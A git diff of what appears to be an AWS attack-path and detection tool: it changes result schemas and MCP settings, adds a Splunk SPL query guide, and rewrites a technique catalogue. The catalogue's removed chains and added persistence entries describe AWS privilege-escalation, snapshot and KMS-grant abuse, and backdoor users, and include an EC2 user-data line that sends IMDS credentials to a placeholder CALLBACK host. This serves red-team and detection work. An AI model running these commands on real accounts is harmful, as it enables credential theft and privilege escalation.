"type": "array", "items": { "type": "string" } }, - "this_quarter": { "type": "array", "items": { "type": "string" } } - } - } - } - }, - "technical_recommendations": { - "type": "object", - "properties": { - "attack_path_bundles": { - "type": "array", - "items": { - "type": "object", - "required": ["attack_path", "severity", "source_run_ids", "classification"], - "properties": { - "attack_path": { "type": "string" }, - "severity": { "type": "string", "enum": ["critical", "high", "medium", "low"] }, - "source_run_ids": { "type": "array", "items": { "type": "string" } }, - "classification": { "type": "string", "enum": ["systemic", "one-off"] }, - "scp_names": { "type": "array", "items": { "type": "string" } }, - "rcp_names": { "type": "array", "items": { "type": "string" } }, - "detection_names": { "type": "array", "items": { "type": "string" } }, - "control_names": { "type": "array", "items": { "type": "string" } } - } - } - } - } - }, - "scps": { - "type": "array", - "items": { - "type": "object", - "required": ["name", "file", "policy_json", "source_attack_paths", "source_run_ids", "impact_analysis"], - "properties": { - "name": { "type": "string" }, - "file": { "type": "string", "description": "Relative path to the policy JSON file, e.g. policies/scp-deny-admin.json" }, - "policy_json": { "type": "object" }, - "source_attack_paths": { "type": "array", "items": { "type": "string" } }, - "source_run_ids": { "type": "array", "items": { "type": "string" } }, - "impact_analysis": { - "type": "object", - "required": ["prevents", "blast_radius", "affected_services", "break_glass"], - "properties": { - "prevents": { "type": "array", "items": { "type": "string" } }, - "blast_radius": { "type": "string", "enum": ["low", "medium", "high"] }, - "affected_services": { "type": "array", "items": { "type": "string" } }, - "break_glass": { "type": "string" } - } - } - } - } - }, - "rcps": { + "guardrails": { "type": "array", "items": { "type": "object", - "required": ["name", "file", "policy_json", "source_attack_paths", "source_run_ids", "impact_analysis"], + "required": ["name", "type", "file", "policy_json", "source_attack_paths", "source_run_ids", "impact_analysis"], "properties": { "name": { "type": "string" }, - "file": { "type": "string" }, + "type": { "type": "string", "enum": ["scp", "rcp"] }, + "file": { "type": "string", "description": "Relative path e.g. policies/scp-deny-imds-v1.json" }, "policy_json": { "type": "object" }, "source_attack_paths": { "type": "array", "items": { "type": "string" } }, "source_run_ids": { "type": "array", "items": { "type": "string" } }, @@ -172,32 +88,38 @@ } } }, - "security_controls": { + "policy_replacements": { "type": "array", "items": { "type": "object", - "required": ["service", "recommendation", "priority", "effort", "source_attack_paths"], + "required": ["role_name", "file", "original_policy_arn", "replacement_policy_json", "source_attack_paths", "staleness_reasoning"], "properties": { - "service": { "type": "string" }, - "recommendation": { "type": "string" }, - "priority": { "type": "string" }, - "effort": { "type": "string" }, - "source_attack_paths": { "type": "array", "items": { "type": "string" } } + "role_name": { "type": "string" }, + "file": { "type": "string", "description": "Relative path e.g. replacements/iam-replacement-MyRole.json" }, + "original_policy_arn": { "type": "string" }, + "replacement_policy_json": { "type": "object" }, + "source_attack_paths": { "type": "array", "items": { "type": "string" } }, + "staleness_reasoning": { "type": "string", "description": "Reasoning about why permissions are stale — no fixed thresholds per D-21" }, + "boundary_considerations": { "type": "string", "description": "How permission boundaries/SCPs were accounted for per D-22" } } } }, - "prioritization": { - "type": "array", - "items": { - "type": "object", - "required": ["rank", "action", "risk", "effort", "category"], - "properties": { - "rank": { "type": "integer" }, - "action": { "type": "string" }, - "risk": { "type": "string", "enum": ["critical", "high", "medium", "low"] }, - "effort": { "type": "string", "enum": ["low", "medium", "high"] }, - "category": { "type": "string", "enum": ["scp", "rcp", "detection", "control", "config"] } - } + "remediation": { + "type": "object", + "required": ["file", "items"], + "properties": { + "file": { "type": "string", "description": "Path to remediation-plan.md" }, + "items": { "type": "integer", "description": "Count of prioritized remediation items" } + } + }, + "validation": { + "type": "object", + "required": ["status", "blocks", "warns"], + "properties": { + "status": { "type": "string", "enum": ["pass", "partial", "fail"] }, + "blocks": { "type": "integer" }, + "warns": { "type": "integer" }, + "file": { "type": "string", "description": "Path to validation-report.md" } } }, "status": { diff --git a/config/schemas/exploit.schema.json b/config/schemas/exploit.schema.json index 880b12b..90378c7 100644 --- a/config/schemas/exploit.schema.json +++ b/config/schemas/exploit.schema.json @@ -4,7 +4,7 @@ "title": "SCOPE Exploit Results", "description": "Schema for exploit phase results.json — validated by scope-schema-validate hook", "type": "object", - "required": ["account_id", "source", "timestamp", "target_arn", "summary", "attack_paths"], + "required": ["account_id", "source", "timestamp", "target_arn", "discovery_mode", "summary", "paths"], "properties": { "account_id": { "type": "string", @@ -22,84 +22,44 @@ "type": "string", "description": "Principal ARN analyzed" }, + "discovery_mode": { + "type": "string", + "enum": ["standalone", "audit"], + "description": "How permissions were discovered — standalone probing or loaded from audit data" + }, + "audit_run_dir": { + "type": ["string", "null"], + "description": "Path to audit run directory when discovery_mode is audit" + }, "summary": { "type": "object", - "required": ["paths_found", "risk_score", "highest_priv"], + "required": ["paths_found", "severity"], "properties": { "paths_found": { "type": "integer" }, - "novel_paths_found": { "type": "integer" }, - "passrole_chains": { "type": "integer" }, - "persistence_techniques": { "type": "integer" }, - "exfiltration_vectors": { "type": "integer" }, - "risk_score": { + "severity": { "type": "string", - "enum": ["CRITICAL", "HIGH", "MEDIUM", "LOW"] + "enum": ["critical", "high", "medium", "low"] }, - "highest_priv": { "type": "string" } - } - }, - "graph": { - "type": "object", - "properties": { - "nodes": { - "type": "array", - "items": { - "type": "object", - "required": ["id", "label", "type"], - "properties": { - "id": { "type": "string" }, - "label": { "type": "string" }, - "type": { "type": "string" } - } - } - }, - "edges": { - "type": "array", - "items": { - "type": "object", - "required": ["source", "target"], - "properties": { - "source": { "type": "string" }, - "target": { "type": "string" }, - "edge_type": { "type": "string" }, - "severity": { "type": "string" }, - "trust_type": { "type": "string" } - } - } + "discovery_summary": { + "type": "string", + "description": "Brief summary of what probing/audit data revealed" } } }, - "attack_paths": { + "paths": { "type": "array", + "description": "Attack paths — flexible count per D-33", "items": { "type": "object", - "required": ["name", "steps"], + "required": ["name", "description", "steps"], "properties": { "name": { "type": "string" }, - "noise_score": { "type": "integer" }, - "noise_profile": { - "type": "object", - "properties": { - "MGT": { "type": "integer" }, - "DATA": { "type": "integer" }, - "NONE": { "type": "integer" } - } - }, - "severity": { "type": "string" }, - "category": { - "type": "string", - "enum": ["privilege_escalation", "persistence", "post_exploitation", "lateral_movement", "exfiltration"] - }, - "source": { - "type": "string", - "enum": ["catalogue", "novel"] - }, - "confidence_tier": { - "type": ["string", "null"], - "enum": ["GUARANTEED", "CONDITIONAL", "SPECULATIVE", null] - }, - "reasoning": { "type": ["string", "null"] }, "description": { "type": "string" }, + "research_sources": { + "type": "array", + "items": { "type": "string" }, + "description": "Source URLs from scope-research for this path" + }, "steps": { "type": "array", "items": { @@ -115,77 +75,9 @@ } } }, - "mitre_techniques": { "type": "array", "items": { "type": "string" } }, - "affected_resources": { "type": "array", "items": { "type": "string" } }, - "detection_opportunities": { "type": "array", "items": { "type": "string" } }, - "remediation": { "type": "array", "items": { "type": "string" } }, - "lateral_movement_chain": { - "type": "array", - "items": { - "type": "object", - "properties": { - "from": { "type": "string" }, - "to": { "type": "string" }, - "mechanism": { "type": "string" } - } - } - }, - "persistence_techniques": { - "type": "array", - "items": { - "type": "object", - "properties": { - "technique": { "type": "string" }, - "available": { "type": "boolean" }, - "permission": { "type": "string" } - } - } - }, - "exfiltration_vectors": { - "type": "array", - "items": { - "type": "object", - "properties": { - "vector": { "type": "string" }, - "available": { "type": "boolean" }, - "permission": { "type": "string" }, - "scope_estimate": { "type": ["string", "null"] } - } - } - } - } - } - }, - "passrole_graph": { - "type": ["object", "null"], - "properties": { - "caller": { "type": "string" }, - "nodes": { - "type": "array", - "items": { - "type": "object", - "required": ["id", "type"], - "properties": { - "id": { "type": "string" }, - "type": { "type": "string" }, - "arn": { "type": "string" }, - "service": { "type": "string" } - } - } - }, - "edges": { - "type": "array", - "items": { - "type": "object", - "required": ["from", "to", "type"], - "properties": { - "from": { "type": "string" }, - "to": { "type": "string" }, - "type": { "type": "string" }, - "action": { "type": "string" }, - "role": { "type": "string" }, - "capabilities": { "type": "string" } - } + "iam_policy": { + "type": ["object", "null"], + "description": "Ready-to-attach IAM policy JSON for this path" } } } diff --git a/config/settings/gemini.settings.json b/config/settings/gemini.settings.json index c46de53..c0aae41 100644 --- a/config/settings/gemini.settings.json +++ b/config/settings/gemini.settings.json @@ -1,8 +1,8 @@ { "mcpServers": { "splunk-mcp-server": { - "command": "bash", - "args": ["bin/splunk-mcp-start.sh"], + "command": "sh", + "args": ["-c", "npx -y mcp-remote \"$SPLUNK_URL\" --header \"Authorization: Bearer $SPLUNK_TOKEN\""], "env": { "SPLUNK_URL": "$SPLUNK_URL", "SPLUNK_TOKEN": "$SPLUNK_TOKEN" @@ -10,7 +10,7 @@ } }, "context": { - "fileName": ["AGENTS.md"] + "fileName": ["GEMINI.md"] }, "experimental": { "enableAgents": true diff --git a/config/splunk-patterns.md b/config/splunk-patterns.md new file mode 100644 index 0000000..13a1a03 --- /dev/null +++ b/config/splunk-patterns.md @@ -0,0 +1,320 @@ +# SCOPE -- SPL Query Patterns and Best Practices + +## Overview + +**What this enables:** SCOPE agents (`scope-hunt`, `scope-defend-splunk`) read this document before generating SPL queries. It establishes the command selection rules, behavioral patterns, and anti-patterns that govern every query the agents write. Following these patterns produces queries that run correctly at scale, avoid common performance traps, and return accurate results across any data source. + +**When to consult this document:** Before writing any SPL query — at the beginning of an investigation session, when selecting between `tstats`, `stats`, or `streamstats`, and when generating composite detection rules. + +**Research sources:** Splunk official documentation, the PEAK (Prepare-Execute-Act-Know) framework documented by Splunk Security, Splunk community performance threads, and Splunk Enterprise Security installation documentation. All patterns have been verified against Splunk 9.x behavior. + +--- + +## Command Selection Rules + +The three primary aggregation commands serve different purposes. Using the wrong command produces either incorrect results (tstats for payload fields) or poor performance (transaction for composite detections). + +### tstats — High-Speed Metadata Queries + +`tstats` operates on `.tsidx` index metadata files, not raw events. It reads only fields that were indexed at ingest time: `host`, `source`, `sourcetype`, `_time`, and any explicitly indexed custom fields. + +**Use tstats for:** +- Rapid data availability checks: does this index have data in this time window? +- Volume anomaly detection: did event count drop or spike versus a historical baseline? +- Counting event classes by sourcetype for coverage analysis +- IOC lookup speed when the IOC appears in an indexed field (e.g., `host`, `source`) + +**Hard limit:** tstats CANNOT access event payload fields like `eventName`, `sourceIPAddress`, `userIdentity.arn`, `actor.alternateId`, or any other search-time extracted field. Queries using tstats for payload fields return empty or incorrect results — this is a silent failure, not an error. + +Data availability check: + +```spl +| tstats count where index=cloudtrail earliest=-24h latest=now by sourcetype +``` + +Volume anomaly detection (spike/drop vs. baseline): + +```spl +| tstats count AS hourly_count dc(host) AS host_count + where index=cloudtrail + by _time span=1h +| eventstats median(hourly_count) AS median_count +| where hourly_count < (median_count * 0.5) +``` + +### stats — Primary Event Analysis Command + +`stats` aggregates raw events after search-time field extraction. It has access to all fields in every event. Use `stats` for all normal detection queries, frequency counting, and rare event detection. + +**Use stats for:** +- All detection queries referencing CloudTrail or application log fields (eventName, userIdentity.*, requestParameters) +- Frequency counting of events by principal or resource +- Rare event detection: count by actor, where count is below a threshold +- Distinct value counting with `dc()` +- Behavioral deviation analysis with `eventstats` + +IAM escalation detection: + +```spl +index=cloudtrail earliest=-24h latest=now + eventName IN ("CreateAccessKey","AttachUserPolicy","CreatePolicyVersion") +| rename userIdentity.arn AS actor_arn +| stats count values(eventName) AS events_seen dc(eventName) AS distinct_events + by actor_arn sourceIPAddress +| sort - count +``` + +### streamstats — Temporal Sliding Window Correlation + +`streamstats` calculates running statistics as events stream sequentially. The `time_window` parameter creates a true sliding window — each event sees the aggregated state of all events within the preceding window. Use `streamstats` for all composite (multi-step) detections. + +**Use streamstats for:** +- Multi-step TTP detection within a time window +- Detecting bursts: more than N distinct actions within 1 hour from the same actor +- Correlation of events that share an actor identity but not a session ID + +See the Composite Detection section for the full pattern. + +--- + +## Behavioral Baseline Patterns + +Behavioral baselines establish what "normal" looks like for a principal or resource over a historical window. Deviations from baseline indicate anomalous activity. This approach is formalized in the PEAK (Prepare-Execute-Act-Know) framework documented by Splunk Security. + +**Recommended baseline window:** 30-90 days of historical data. 30 days is the practical minimum. Shorter windows may not capture low-frequency legitimate activity (monthly batch jobs, quarterly access patterns). + +**Two-query approach:** Run the baseline query first, store results (lookup or join), then query the hunt window and compare. + +Baseline query (30-day history): + +```spl +index=cloudtrail earliest=-30d latest=-1d + eventName=AssumeRole +| stats count AS baseline_count by userIdentity.arn requestParameters.roleArn +| eval normal_threshold = baseline_count * 1.5 +``` + +Hunt window query with deviation detection: + +```spl +index=cloudtrail earliest=-24h latest=now + eventName=AssumeRole +| stats count AS current_count by userIdentity.arn requestParameters.roleArn +| join type=left userIdentity.arn [ | inputlookup baseline_assumerole.csv ] +| where current_count > normal_threshold OR isnull(normal_threshold) +``` + +--- + +## Frequency Analysis and Stack Counting + +Frequency analysis finds rare events (potential outliers) and high-frequency events (potential automation or attack tooling). Stack counting sorts events by frequency to surface both extremes. + +Rare event detection — AssumeRole with unusual role targets: + +```spl +index=cloudtrail earliest=-7d latest=now + eventName=AssumeRole +| stats count by userIdentity.arn requestParameters.roleArn +| sort count +| head 20 +``` + +Behavioral baseline deviation using `eventstats` for percentage of activity: + +```spl +index=cloudtrail earliest=-7d latest=now +| stats count by userIdentity.arn eventName +| eventstats sum(count) AS total_by_actor by userIdentity.arn +| eval pct = round(count/total_by_actor * 100, 1) +| where pct > 80 +| sort - pct +``` + +The `eventstats` pattern preserves individual rows while computing group-level aggregates, enabling per-event deviation scoring without losing the event-level detail needed for investigation. + +--- + +## Composite Detection (Sliding Window) + +Composite detections identify multi-step attack sequences within a time window. The canonical pattern uses `streamstats` with `time_window` — this is the mandated replacement for `transaction`. + +**Why streamstats over transaction:** +- `transaction` runs entirely on the search head with no map-reduce: no distributed processing, RAM explodes with event count, no event is discarded until the transaction closes +- `streamstats` runs as a streaming command: events are processed sequentially, only the aggregation state is held in memory, distributed processing remains intact up to the `streamstats` stage + +Multi-step IAM escalation composite detection: + +```spl +index=cloudtrail earliest=-1h latest=now + (eventName="ListRoles" OR eventName="ListUsers" OR eventName="CreateAccessKey" OR eventName="AttachUserPolicy") +| rename userIdentity.arn AS src_user_arn +| streamstats time_window=1h count values(eventName) AS events_seen dc(eventName) AS distinct_ops + by src_user_arn +| where distinct_ops >= 3 +| eval detection="[COMPOSITE] Multi-step IAM escalation" +| table _time src_user_arn events_seen distinct_ops sourceIPAddress +``` + +The `time_window=1h` parameter means each event's `count` reflects all matching events within the preceding 1 hour from the same `src_user_arn`. When `distinct_ops >= 3`, the actor has performed 3 or more distinct IAM operations within a 1-hour sliding window. + +Composite detections must have higher severity than their atomic component detections. A single `CreateAccessKey` event is informational; a `CreateAccessKey` following `ListRoles` and `AttachUserPolicy` within an hour is high severity. + +--- + +## Lazy Field Sampling Protocol + +Before querying a new index for the first time in a session, the agent samples field names with a bounded `head 1` query. This returns one real event with all extracted fields, enabling accurate field references without requiring a pre-loaded schema. + +**Why lazy sampling over pre-loaded schemas:** +1. Most investigations use only 1-2 indexes — avoiding round-trips to unused indexes +2. The operator's Splunk instance controls field extraction — a template cannot be fully accurate for custom add-ons +3. `head 1` is the lightest possible query: finds the first matching event and stops + +Sampling query with required time bounds (see Pitfall 4 below): + +```spl +index= earliest=-30d latest=now | head 1 +``` + +If no event in the last 30 days, retry with `-365d`: + +```spl +index= earliest=-365d latest=now | head 1 +``` + +If still no event, the index may be inactive — report to the operator. Do not proceed with assumptions about field names on an inactive index. + +Cache the sampled field names in session memory. Do not re-run the sampling query within the same session for an index that has already been sampled. + +--- + +## Multi-Index Query Structure + +Different indexes have different field schemas. Combining them in a single query produces field name collisions and ambiguous results. + +**Rule:** Write separate SPL queries per index. The agent correlates results in the investigation narrative (`investigation_findings` accumulator), not in SPL. + +**Do not write:** `(index=cloudtrail OR index=okta) | stats ...` — user identity fields are named differently in each index (e.g., `userIdentity.arn` in CloudTrail vs `actor.alternateId` in Okta). + +**Do write:** Two separate queries, correlate by IP address or timestamp in the narrative. + +Query 1: CloudTrail — identify the AWS actor: + +```spl +/* Query 1: CloudTrail — identify the AWS actor */ +index=cloudtrail earliest=-1h latest=now + eventName=CreateAccessKey +| rename userIdentity.arn AS aws_actor +| table _time aws_actor sourceIPAddress userAgent +``` + +Query 2: Okta — same source IP around the same time: + +```spl +/* Query 2: Okta — same source IP around the same time */ +index=okta earliest=-1h latest=now + client.ipAddress="" +| table _time actor.alternateId displayMessage outcome.result client.ipAddress +``` + +Store results from each query and build the correlation narrative: "The same IP address `203.0.113.47` appears in both the CloudTrail `CreateAccessKey` event at 14:23 UTC and the Okta authentication failure at 14:19 UTC — a 4-minute gap consistent with credential harvesting before key creation." + +--- + +## Anti-Patterns + +Avoid these patterns in all generated SPL. The `scope-spl-lint.sh` hook enforces the BLOCK-level items automatically. + +| Anti-Pattern | Why Bad | What to Use Instead | +|---|---|---| +| `\| transaction` in composite detections | Runs entirely on search head, no map-reduce, RAM explosion at scale | `\| streamstats time_window=... by actor_field` | +| Leading wildcards: `eventName=*CreateUser*` | Forces full raw-text scan of every event | Exact match: `eventName=CreateUser` or `OR` list | +| No time bounds: `index=cloudtrail eventName=...` | Unbounded scan — may scan months of data and timeout | Always specify `earliest=` and `latest=` | +| `index=*` or omitting `index=` | Scans all indexes including internal ones | Always specify `index=` from `config/index.json` | +| `\| join` for cross-index correlation | Resource-intensive, 50k row cap, search head only | Separate queries; agent correlates results | +| `\| append` for cross-index merging | 50k row cap, runs secondary search sequentially | Separate queries; agent correlates results | +| tstats for event payload fields | tstats can only read indexed metadata — returns wrong or empty results | Use `stats` or `search` for eventName, userIdentity, etc. | +| `eventSource="iam"` (shorthand) | Incorrect — CloudTrail uses full service endpoint | `eventSource="iam.amazonaws.com"` | +| Verbose mode in automated searches | Returns all raw event data, floods network from indexers | Default or fast mode only | +| High-cardinality `by` clause in tstats | Groups by fields with millions of distinct values causes memory pressure | Add additional filter terms to reduce cardinality first | + +--- + +## Index Discovery + +When `config/index.json` does not exist, the agent enumerates available Splunk indexes using the `get_indexes` MCP tool, reasons about security relevance, and presents discovered groupings to the operator for confirmation before writing the file. + +**Internal indexes to exclude during discovery.** These are Splunk Enterprise Security platform indexes — not operator data sources. Never group them as security-relevant data: + +- `notable` — ES finding events +- `notable_summary` — ES stats summaries +- `risk` — ES risk modifier events +- `threat_activity` — ES threat list matches +- `ioc` — ES threat intelligence +- `ers` — entity risk scoring +- `ueba` — user behavior analytics +- `ueba_summaries` — UEBA summaries +- `endpoint_summary` — endpoint protection summary +- `audit_summary` — audit data protection +- `_internal` — Splunk platform internal +- `_audit` — Splunk audit trail +- `_introspection` — Splunk health metrics +- `summary` — summary index (Splunk default) +- `history` — Splunk search history + +**`main` index handling:** The `main` index is not automatically excluded — operators may route security data there. Flag it to the operator: "The 'main' index appears to contain data. Would you like to include it in a group?" Do not silently include or exclude it. + +**ES internal indexes in SPL are always valid.** The `scope-spl-lint.sh` index allowlist check must skip ES internal indexes (notably `index=notable` used by `scope-hunt-investigate.md`). These are correct uses, not allowlist violations. + +--- + +## MCP Tool Reference + +The Splunkbase app 7931 (MCP Server for Splunk Platform, version 1.0.2+) exposes these tools relevant to SCOPE query generation: + +### get_indexes + +Enumerates all available Splunk indexes. Use at startup when `config/index.json` does not exist to drive the index discovery flow. Filter internal indexes (see Index Discovery section) before presenting to the operator. + +When the tool is unavailable (older app version): fall back to `search_oneshot` with: + +```spl +| rest /services/data/indexes | fields title +``` + +### validate_spl + +Validates SPL syntax before execution. Use before running complex or expensive queries to catch syntax errors without consuming Splunk resources. Does not check semantic correctness — a syntactically valid query may still return incorrect results for the wrong index. + +### saia_optimize_spl + +Splunk's own SPL optimizer. Optional — useful for complex queries, not required for routine detection queries. The optimizer knows the target instance's configuration and can improve query performance based on actual index structure. Use for multi-stage pipelines or queries with high expected result counts. + +**Primary query execution:** Use `search_oneshot` or `search_splunk` for all actual query execution. The existing 4-tool probe sequence in `scope-hunt.md` already determines which tool to use based on connectivity. + +--- + +## Time Bounds Standard + +All SPL queries generated by SCOPE agents must include both `earliest` and `latest` time bounds. Unbounded queries scan the full index and may time out or consume excessive search head resources. + +ISO 8601 absolute bounds: + +```spl +index= earliest="2026-04-19T00:00:00" latest="2026-04-20T00:00:00" +``` + +Relative bounds (preferred for hunt queries): + +```spl +index= earliest=-24h latest=now +``` + +Lazy field sampling with bounded fallback: + +```spl +index= earliest=-30d latest=now | head 1 +``` + +**Exception:** The `index=notable` query in `scope-hunt-investigate.md` operates without explicit time bounds by design — the notable index is always queried for recent unresolved findings, and Splunk ES manages its own retention. This is the only acceptable exception. diff --git a/config/escalation-catalogue.json b/config/techniques.json similarity index 60% rename from config/escalation-catalogue.json rename to config/techniques.json index e1380b5..2977ee0 100644 --- a/config/escalation-catalogue.json +++ b/config/techniques.json @@ -1,7 +1,7 @@ { - "version": "2026-03", - "description": "AWS privilege escalation methods and attack chains for scope-attack-paths reasoning. 60 methods across 4 categories + 7 chains. Follows config/cloudtrail-classes.json convention: versioned root, category-grouped arrays of objects.", - "categories": { + "version": "2026-04", + "description": "Consolidated technique seed knowledge for scope-exploit. Escalation, persistence, and post-exploitation vectors. Agent uses these as starting points for creative reasoning — not an exhaustive boundary.", + "escalation": { "direct_iam": [ { "id": "iam-create-policy-version", @@ -731,132 +731,600 @@ } ] }, - "chains": [ - { - "id": "chain-lambda-code-injection", - "name": "Lambda Code Injection (Most Common in 2025)", - "category": "chain", - "required_permissions": ["lambda:UpdateFunctionCode"], - "permission_scope": "Lambda function with admin execution role", - "exploit_template": "aws lambda list-functions && aws lambda update-function-code --function-name TARGET --zip-file fileb://malicious.zip && aws lambda invoke --function-name TARGET output.json", - "mitre_techniques": ["T1078.004", "T1548", "T1098.001"], - "detection_events": ["UpdateFunctionCode20150331v2", "Invoke20150331v2"], - "severity_default": "critical", - "steps": [ - "aws lambda list-functions -- find function with powerful execution role (check Role field in output)", - "aws lambda update-function-code --function-name TARGET --zip-file fileb://malicious.zip -- inject code that exfiltrates the role credentials", - "aws lambda invoke --function-name TARGET output.json -- if function is event-driven, wait for trigger; otherwise invoke directly" - ], - "splunk_detection": "index=cloudtrail eventName=UpdateFunctionCode20150331v2 | join sourceIPAddress [search index=cloudtrail eventName=Invoke20150331v2] | where sourceIPAddress!=\"expected_ip\"", - "notes": "Lambda functions are ubiquitous, many have overly broad roles, and UpdateFunctionCode does NOT require iam:PassRole — this is why it is the #1 escalation pattern in 2025." - }, - { - "id": "chain-passrole-lambda-admin", - "name": "PassRole -> Lambda -> Admin", - "category": "chain", - "required_permissions": ["iam:PassRole", "lambda:CreateFunction", "lambda:InvokeFunction"], - "permission_scope": "admin-level role whose trust policy allows lambda.amazonaws.com", - "exploit_template": "aws iam list-roles && aws lambda create-function --function-name privesc --role arn:aws:iam::ACCT:role/AdminRole --runtime python3.12 --handler index.handler --zip-file fileb://payload.zip && aws lambda invoke --function-name privesc output.json", - "mitre_techniques": ["T1078.004", "T1548", "T1098.001"], - "detection_events": ["CreateFunction20150331", "Invoke20150331v2"], - "severity_default": "critical", - "steps": [ - "aws iam list-roles -- find admin-level role whose trust policy allows lambda.amazonaws.com", - "aws lambda create-function --function-name privesc --role arn:aws:iam::ACCT:role/AdminRole --runtime python3.12 --handler index.handler --zip-file fileb://payload.zip", - "aws lambda invoke --function-name privesc output.json -- function executes with admin role, returns credentials" - ], - "splunk_detection": "index=cloudtrail eventName=CreateFunction20150331 | where requestParameters.role like \"%AdminRole%\"", - "notes": "Classic PassRole escalation chain. Detect by correlating CreateFunction events where requestParameters.role contains an admin role ARN." - }, - { - "id": "chain-passrole-ec2-imds", - "name": "PassRole -> EC2 -> IMDS", - "category": "chain", - "required_permissions": ["iam:PassRole", "ec2:RunInstances"], - "permission_scope": "admin-level instance profile; role trust policy must allow ec2.amazonaws.com", - "exploit_template": "aws iam list-instance-profiles && aws ec2 run-instances --image-id ami-xxx --instance-type t3.micro --iam-instance-profile Arn=ADMIN_PROFILE_ARN --user-data '#!/bin/bash\\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME > /tmp/creds && curl http://CALLBACK/exfil -d @/tmp/creds'", - "mitre_techniques": ["T1078.004", "T1548", "T1552.005"], - "detection_events": ["RunInstances"], - "severity_default": "critical", - "steps": [ - "aws iam list-instance-profiles -- find instance profile with admin role", - "aws ec2 run-instances --image-id ami-xxx --instance-type t3.micro --iam-instance-profile Arn=ADMIN_PROFILE_ARN --user-data '#!/bin/bash\\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME > /tmp/creds && curl http://CALLBACK/exfil -d @/tmp/creds'", - "Wait for user data to execute -- receive credentials at callback URL" - ], - "splunk_detection": "index=cloudtrail eventName=RunInstances | where requestParameters.iamInstanceProfile like \"%AdminProfile%\"", - "notes": "Only works if instance can reach IMDS (IMDSv1) or attacker can access instance directly. Detect by correlating RunInstances events where requestParameters.iamInstanceProfile contains admin profile ARN." - }, - { - "id": "chain-crossaccount-trust-pivot", - "name": "CrossAccount Pivot via Trust Chain", - "category": "chain", - "required_permissions": ["sts:AssumeRole"], - "permission_scope": "access to an external account trusted by a role in the target account", - "exploit_template": "aws iam list-roles && aws sts assume-role --role-arn arn:aws:iam::TARGET_ACCT:role/TRUSTED_ROLE --role-session-name pivot", - "mitre_techniques": ["T1550.001", "T1078.004", "T1530"], - "detection_events": ["AssumeRole"], - "severity_default": "critical", - "steps": [ - "aws iam list-roles -- find roles with Principal containing external account ARNs or wildcard", - "From external account: aws sts assume-role --role-arn arn:aws:iam::TARGET_ACCT:role/TRUSTED_ROLE --role-session-name pivot", - "Use assumed role to access resources or chain to additional role assumptions within target account" - ], - "splunk_detection": "index=cloudtrail eventName=AssumeRole | where requestParameters.roleArn like \"%TARGET_ACCT%\" AND userIdentity.accountId!=\"TARGET_ACCT\"", - "notes": "Check for role chaining — the assumed role may be able to assume additional roles. Detect by filtering AssumeRole events where the requestParameters.roleArn is in target account AND userIdentity.accountId is external." - }, - { - "id": "chain-ssm-parameters-secrets-access", - "name": "SSM Parameters -> Secrets -> Access", - "category": "chain", - "required_permissions": ["ssm:DescribeParameters", "ssm:GetParameter"], - "permission_scope": "SecureString SSM parameters containing credentials or API keys", - "exploit_template": "aws ssm describe-parameters && aws ssm get-parameter --name /prod/db/password --with-decryption", - "mitre_techniques": ["T1552", "T1530"], - "detection_events": ["DescribeParameters", "GetParameter"], - "severity_default": "high", - "steps": [ - "aws ssm describe-parameters -- find SecureString parameters (names suggesting DB credentials, API keys, tokens)", - "aws ssm get-parameter --name /prod/db/password --with-decryption -- extract secret value", - "Use extracted credential to access RDS, external APIs, or pivot to other systems" - ], - "splunk_detection": "index=cloudtrail eventName=GetParameter | where requestParameters.withDecryption=true AND (requestParameters.name like \"%password%\" OR requestParameters.name like \"%secret%\" OR requestParameters.name like \"%key%\")", - "notes": "If GetParameter is denied, try GetParameterHistory — IAM policies often fail to restrict it separately. Detect by filtering GetParameter events where withDecryption=true on sensitive parameter name patterns." - }, - { - "id": "chain-ebs-snapshot-exfiltration", - "name": "EBS Snapshot Exfiltration", - "category": "chain", - "required_permissions": ["ec2:DescribeSnapshots", "ec2:ModifySnapshotAttribute"], - "permission_scope": "EBS snapshots owned by target account", - "exploit_template": "aws ec2 describe-snapshots --owner-ids self && aws ec2 modify-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNT_ID", - "mitre_techniques": ["T1537", "T1530"], - "detection_events": ["DescribeSnapshots", "ModifySnapshotAttribute"], - "severity_default": "high", - "steps": [ - "aws ec2 describe-snapshots --owner-ids self -- find snapshots", - "aws ec2 modify-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNT_ID", - "From attacker account: aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a -- attach to EC2 -- mount -- access disk contents (may contain credentials, keys, database files)" - ], - "splunk_detection": "index=cloudtrail eventName=ModifySnapshotAttribute | where requestParameters.createVolumePermission.add like \"%EXTERNAL_ACCT%\"", - "notes": "Disk contents may contain credentials, private keys, database files. Detect by filtering ModifySnapshotAttribute events where requestParameters.createVolumePermission.add contains external account IDs." - }, - { - "id": "chain-kms-grant-bypass", - "name": "KMS Grant Bypass", - "category": "chain", - "required_permissions": ["kms:CreateGrant"], - "permission_scope": "KMS key protecting Secrets Manager secrets, EBS volumes, or S3 SSE-KMS objects", - "exploit_template": "aws kms list-keys && aws kms list-grants --key-id KEY && aws kms create-grant --key-id KEY --grantee-principal arn:aws:iam::ACCT:user/ATTACKER --operations Decrypt GenerateDataKey", - "mitre_techniques": ["T1078.004", "T1530"], - "detection_events": ["CreateGrant"], - "severity_default": "critical", - "steps": [ - "aws kms list-keys && aws kms list-grants --key-id KEY -- understand existing grants and what data the key protects", - "aws kms create-grant --key-id KEY --grantee-principal arn:aws:iam::ACCT:user/ATTACKER --operations Decrypt GenerateDataKey", - "Use grant token to decrypt: Secrets Manager secrets encrypted with this key, EBS volumes using this key, S3 objects with SSE-KMS using this key" - ], - "splunk_detection": "index=cloudtrail eventName=CreateGrant | where requestParameters.granteePrincipal!=\"expected-service-principal\"", - "notes": "KMS grants bypass IAM policy entirely — the grant is on the key itself, not the caller's identity policy. Detect by filtering CreateGrant events where requestParameters.granteePrincipal is unexpected or non-service principal." - } - ] + "persistence": { + "iam": [ + { + "id": "persist-iam-backdoor-user", + "name": "Create backdoor user", + "required_permissions": ["iam:CreateUser", "iam:CreateAccessKey"], + "what_attacker_achieves": "New long-term credentials that survive rotation of the original", + "detection_events": ["CreateUser", "CreateAccessKey"], + "severity_default": "critical", + "notes": "Survives credential rotation of the original compromised principal. Most durable persistence method." + }, + { + "id": "persist-iam-backdoor-role-trust", + "name": "Backdoor role trust policy", + "required_permissions": 